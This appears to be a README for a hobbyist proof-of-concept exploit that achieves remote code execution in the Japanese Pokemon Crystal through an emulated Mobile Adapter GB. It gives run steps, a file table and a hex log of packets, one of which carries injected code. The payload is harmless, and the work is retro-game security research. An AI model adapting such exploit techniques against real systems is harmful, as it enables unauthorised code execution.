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Tetusji - Pokemon Crystal JP Remote Code Execution
Tetsuji
Tetusji - Pokemon Crystal JP Remote Code Execution
Read the blog post on my blog for a full write up of how this works.
Just wanna see it do the thing?
- You might need to install
coloramaandhexdumpwith pip - Obtain a copy of the Japanese version of Pokemon Crystal (sha1sum
95127b901bbce2407daf43cce9f45d4c27ef635d) - Using the BGB emulator, start the link cable listener (in the right-click menu) on the default port (8765)
- Run the
mobile_adapter.pyscript - Reset the game and you'll see the Mobile Adapter GB logo
- In the game, go to a Pokemon Center and talk to the lady upstairs. Spam A through the menus, eventually she'll let you through to the next room
- At the computer, you'll be asked for a phone number, enter anything you like
- You'll see a (slow) animation of Pichu as the game connects and the messages are shuffled back and forth.
- Eventually the game will freeze with a single
3in the top-left corner.
If you want to change the exploit's payload to something else, it's the print_me variable in crystal.py.
Many thanks to Háčky's original writeup for the great head start and Yuu for the original inspiration.
Files
| Filename | Purpose |
|---|---|
mobile_adapter.py |
Main script for handling the communication as the Moble Adapter GB. Based on Háčky's original |
config.bin |
Config file for the Mobile Adapter GB. Can be deleted and recreated using the Mobile Trainer GB ROM |
crystal.py |
Handles the Battle Protocol in Pokemon Crystal. Injects the exploit and payload into the communication |
logger.py |
Logging I like to use |
pkm.py |
Handles some of the binary blobs that get shuffled around by Crystal |
pkm_list.py |
List of Pokemon and Moves as indexed in Pokemon Crystal |
email.txt |
Email that will be "received" over POP3 via any Mobile Adapter GB application. Contains a corrupted Ekans |
geodude_email.txt |
Similar to email.txt but contains a valid Geodude. Rename this to email.txt and be sure to ask for a Geodude |
index.html |
Simple webpage that will be loaded by the Mobile Trainer GB ROM, homepage is /01/CGB-B9AJ/index.html |
Proof
Here's a gif of the exploit running and the log from mobile_adapter.py:
[+] 0x10: Opening Session (NINTENDO)
[+] 0x11: Closing Session
[+] 0x10: Opening Session (NINTENDO)
[+] 0x17: Check Telephone Line
[+] 0x17: Line Free
[+] 0x11: Closing Session
[+] 0x10: Opening Session (NINTENDO)
[+] 0x11: Closing Session
[+] 0x10: Opening Session (NINTENDO)
[+] 0x17: Check Telephone Line
[+] 0x17: Line Free
[+] 0x12: Dialling 5551337
[-] Battle: Initial Packet Received
00000000: 19 67 10 01 6C 69 6D 69 74 5F 63 72 79 73 74 61 .g..limit_crysta
00000010: 6C 00 01 l..
[-] Battle: 0x0d Packet Received
00000000: 1F 3A 55 6E 86 9E B5 CB E0 F4 02 .:Un.......
[-] Battle: 0x4d Packet Received
00000000: 01 87 D8 8C 50 50 50 87 D8 8C 50 50 50 01 37 8F ....PPP...PPP.7.
00000010: FA FF BF FF EF FF FF 00 04 00 FF 00 00 00 00 00 ................
00000020: 10 00 00 FF FF EE FF FF FF FF EF 00 00 00 00 00 ................
00000030: 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 00 ................
00000040: 00 00 01 FF FF F7 FF FF FF FF 03 ...........
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?...............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 04 .
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?...............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 05 .
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 00 00 00 00 00 BA DE C6 C1 CA 50 50 50 ?............PPP
00000010: 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP
00000020: 50 50 50 50 50 50 50 50 50 00 00 00 00 00 00 00 PPPPPPPPP.......
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 06 .
[-] Battle: 0x0f Packet Received
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 07 .............
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 50 50 50 05 82 8F F9 9A 17 FF FF 01 37 ?..PPP.........7
00000010: 82 00 46 7F 39 FA 01 37 03 51 9C 31 1B 3F 5A 52 ..F.9..7.Q.1.?ZR
00000020: D2 29 D9 25 6B EA AA 0F 0F 0F 0F ED 00 9E A6 37 .).%k..........7
00000030: 00 00 00 B8 00 B8 00 AE 00 7A 00 76 00 5F 00 8B .........z.v._..
00000040: 8F 92 F9 22 AD 9C 01 37 03 4A 08 0B AC 0E 7A 0D ..."...7.J....z.
00000050: 08 .
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 0C 37 DF 97 0F 0F 0F 0A 93 00 B2 3D 37 ?...7.........=7
00000010: 00 00 01 08 01 08 00 94 00 64 00 37 00 5A 00 8C .........d.7.Z..
00000020: F9 00 10 38 69 13 01 37 04 CD 9A 06 55 07 17 07 ...8i..7....U...
00000030: 36 06 BE 07 16 FE 4E 23 05 14 0F 7D 00 BC 1F 3F 6.....N#...}...?
00000040: 00 00 00 DE 00 DE 00 8F 00 C0 00 9A 00 8E 00 DE ................
00000050: 09 .
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 4B 22 94 01 37 09 B8 D5 C7 05 EA 9C E1 ?..K"..7........
00000010: 4A E5 59 D6 96 4D CF 1E 19 0F 14 FF 00 85 81 55 J.Y..M.........U
00000020: 00 00 01 1F 01 1F 00 CB 00 F8 00 D4 00 DC 00 F9 ................
00000030: 17 00 FF FF FF FF 01 37 00 1F 40 00 00 00 00 00 .......7..@.....
00000040: 00 00 00 00 00 4C F5 2B 2B 2B 2B 46 00 94 10 14 .....L.++++F....
00000050: 0A .
[-] Battle: 0x53 Packet Received
00000000: 3F 00 00 2D 00 2D 00 1E 00 1B 00 21 00 17 00 1C ?..-.-.....!....
00000010: AF 00 2D CC 94 00 01 37 00 00 64 00 00 00 00 00 ..-....7..d.....
00000020: 00 00 00 00 00 56 CD 28 14 14 00 DB 00 81 90 05 .....V.(........
00000030: 00 00 00 13 00 13 00 07 00 0C 00 08 00 0A 00 0C ................
00000040: 87 D8 8C 50 50 50 87 D8 8C 50 50 50 87 D8 8C 50 ...PPP...PPP...P
00000050: 0B .
[-] Battle: 0x3b Packet Received
00000000: 50 50 87 D8 8C 50 50 50 87 D8 8C 50 50 F0 44 FE PP...PPP...PP.D.
00000010: 90 38 FA AF E0 40 21 00 98 06 F9 70 3E B8 E0 68 .8...@!....p>..h
00000020: AF E0 69 E0 69 AF E0 42 E0 43 3E 81 E0 40 18 FE ..i.i..B.C>..@..
00000030: 50 50 93 08 41 E3 50 50 0C PP..A.PP.
[-] Battle: 0x09 Packet Received
00000000: 02 03 04 00 00 0C 0D .......
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Tetusji - Pokemon Crystal JP Remote Code Execution